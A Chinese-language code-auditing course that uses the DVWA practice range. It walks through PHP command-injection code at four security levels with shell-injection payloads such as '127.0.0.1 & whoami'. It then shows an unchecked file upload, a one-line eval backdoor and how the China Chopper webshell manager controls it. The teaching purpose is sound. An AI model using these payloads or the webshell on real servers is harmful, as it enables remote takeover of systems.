|
通过对应用,包括软件、网站等,源代码的阅读,发现其中的安全漏洞。
本课程以PHP 语言来说明代码审计的相关方法。把开源的靶场DVWA 作为审计的对象。
命令注入漏洞审计
- 理解RCE 漏洞场景与危害
- 掌握RCE 漏洞利用手法
- 掌握RCE 漏洞审计方法
Low
查看源代码
<?php
if( isset( $_POST[ &#39;Submit&#39; ] ) ) {
// Get input
$target = $_REQUEST[ &#39;ip&#39; ];
// Determine OS and execute the ping command.
if( stristr( php_uname( &#39;s&#39; ), &#39;Windows NT&#39; ) ) {
// Windows
$cmd = shell_exec( &#39;ping &#39; . $target );
}
else {
// *nix
$cmd = shell_exec( &#39;ping -c 4 &#39; . $target );
}
// Feedback for the end user
echo &#34;<pre>{$cmd}</pre>&#34;;
}
?>
代码分析
- 是否点击了提交按钮。
- 服务器通过GPC 方式获取了一个IP 地址,赋值给了$target 变量。
- 命令拼接ping $target,ping 127.0.0.1。
- 由shell_exec() 运行拼接后的命令。
- 当web 用户点击提交按钮的时候,服务器执行了1 条命令。
- 一个字符串是否可以执行多条命令呢?
漏洞利用
127.0.0.1 & whoami
127.0.0.1& whoami
127.0.0.1 &whoami
127.0.0.1&whoami
127.0.0.1 && whoami
127.0.0.1 &&whoami
127.0.0.1&& whoami
127.0.0.1&&whoami
127.0.0.1 | whoami
127.0.0.1 |whoami
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1.1 || whoami
127.0.0.1.1|| whoami
127.0.0.1.1 ||whoami
127.0.0.1.1||whoamiMedium
查看源代码
<?php
if( isset( $_POST[ &#39;Submit&#39; ] ) ) {
// Get input
$target = $_REQUEST[ &#39;ip&#39; ];
// Set blacklist
$substitutions = array(
&#39;&&&#39; => &#39;&#39;,
&#39;;&#39; => &#39;&#39;,
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( &#39;s&#39; ), &#39;Windows NT&#39; ) ) {
// Windows
$cmd = shell_exec( &#39;ping &#39; . $target );
}
else {
// *nix
$cmd = shell_exec( &#39;ping -c 4 &#39; . $target );
}
// Feedback for the end user
echo &#34;<pre>{$cmd}</pre>&#34;;
}
?>
代码分析
- 设置了黑名单,&& 和;。
- 根据黑名单,对$target 变量做了过滤,会过滤掉&& 和;。
- 寻找其他可以执行多条命令的语句。
High
查看源代码
<?php
if( isset( $_POST[ &#39;Submit&#39; ] ) ) {
// Get input
$target = trim($_REQUEST[ &#39;ip&#39; ]);
// Set blacklist
$substitutions = array(
&#39;&&#39; => &#39;&#39;,
&#39;;&#39; => &#39;&#39;,
&#39;| &#39; => &#39;&#39;,
&#39;-&#39; => &#39;&#39;,
&#39;$&#39; => &#39;&#39;,
&#39;(&#39; => &#39;&#39;,
&#39;)&#39; => &#39;&#39;,
&#39;`&#39; => &#39;&#39;,
&#39;||&#39; => &#39;&#39;,
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( &#39;s&#39; ), &#39;Windows NT&#39; ) ) {
// Windows
$cmd = shell_exec( &#39;ping &#39; . $target );
}
else {
// *nix
$cmd = shell_exec( &#39;ping -c 4 &#39; . $target );
}
// Feedback for the end user
echo &#34;<pre>{$cmd}</pre>&#34;;
}
代码分析
- 设置了黑名单,&,;,|+,-,(,),[反引号],||。
- 黑名单中漏掉了关键字符|。
Impossible
查看代码
<?php
if( isset( $_POST[ &#39;Submit&#39; ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ &#39;user_token&#39; ], $_SESSION[ &#39;session_token&#39; ], &#39;index.php&#39; );
// Get input
$target = $_REQUEST[ &#39;ip&#39; ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( &#34;.&#34;, $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int&#39;s put the IP back together.
$target = $octet[0] . &#39;.&#39; . $octet[1] . &#39;.&#39; . $octet[2] . &#39;.&#39; . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( &#39;s&#39; ), &#39;Windows NT&#39; ) ) {
// Windows
$cmd = shell_exec( &#39;ping &#39; . $target );
}
else {
// *nix
$cmd = shell_exec( &#39;ping -c 4 &#39; . $target );
}
// Feedback for the end user
echo &#34;<pre>{$cmd}</pre>&#34;;
}
else {
// Ops. Let the user name theres a mistake
echo &#39;<pre>ERROR: You have entered an invalid IP.</pre>&#39;;
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
文件上传漏洞审计
- 理解任意文件上传漏洞的场景和危害
- 掌握文件上传漏洞利用方法
- 掌握文件上传漏洞审计方法
文件上传过程
前台表单
<form enctype=&#34;multipart/form-data&#34; action=&#34;#&#34; method=&#34;POST&#34;>
<input type=&#34;hidden&#34; name=&#34;MAX_FILE_SIZE&#34; value=&#34;100000&#34;>
Choose an image to upload:<br><br>
<input name=&#34;uploaded&#34; type=&#34;file&#34;><br>
<br>
<input type=&#34;submit&#34; name=&#34;Upload&#34; value=&#34;Upload&#34;>
</form>后台接收文件信息
$_FILES[&#39;uploaded&#39;][&#34;name&#34;];
$_FILES[&#39;uploaded&#39;][&#34;type&#34;];
$_FILES[&#39;uploaded&#39;][&#34;tmp_name&#34;];
$_FILES[&#39;uploaded&#39;][&#34;error&#34;];
$_FILES[&#39;uploaded&#39;][&#34;size&#34;];
后台逻辑
将上传文件的服务器缓存,存储到文件系统中。
<?php
if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . &#34;hackable/uploads/&#34;;
$target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
// No
echo &#39;<pre>Your image was not uploaded.</pre>&#39;;
}
else {
// Yes!
echo &#34;<pre>{$target_path} succesfully uploaded!</pre>&#34;;
}
}
?>
代码分析
- $_FILES[&#39;uploaded&#39;][&#39;tmp_name&#39;] 文件缓存的路径。
- $target_path 是文件存储的目标路径路径。
- 在“另存”文件的时候,没有做任何检测。
- 任意文件上传。
任意文件上传
phpinfo
可以上传phpinfo.php 文件,并且可以执行。
<?php
phpinfo();
?>
最简单后门
<?php
@eval($_REQUEST[777]);
?>
后门说明
- 上传之后,访问该文件,如果是空白,说明成功。
- 利用777 参数传递命令,并执行。
- 一句话木马,短小精悍,功能强大。
中国菜刀
概述
中国菜刀实现与一句话木马联动:
- 中国菜刀在本地(攻击机)。
- 一句话木马在服务器(靶机)上。
WebShell Manager。
一句话木马原理
代码执行
将字符串当作代码或命令执行。
eval();
assert();
一句话木马地址
地址形式不重要,重要的是能够访问到一句话木马,并且一句话木马的内容能够被解释执行。
http://localhost/dvwa_2.0.1/hackable/uploads/yjh.php
1.php
yjh.php
shell.php
404.php
confIg.php
ini.png
1.rar
ajest一句话木马密码
777三大基本功能
文件管理
相当于资源管理器,能够完成文件的上传,下载,编辑,删除,新建(文件和文件夹)等操作。
虚拟终端
类似于shell:
数据库管理
使用中国菜刀管理目标服务器的数据库,需要数据库的用户名和密码。
将配置写入WebShell 管理工具中。
类菜刀工具
|
|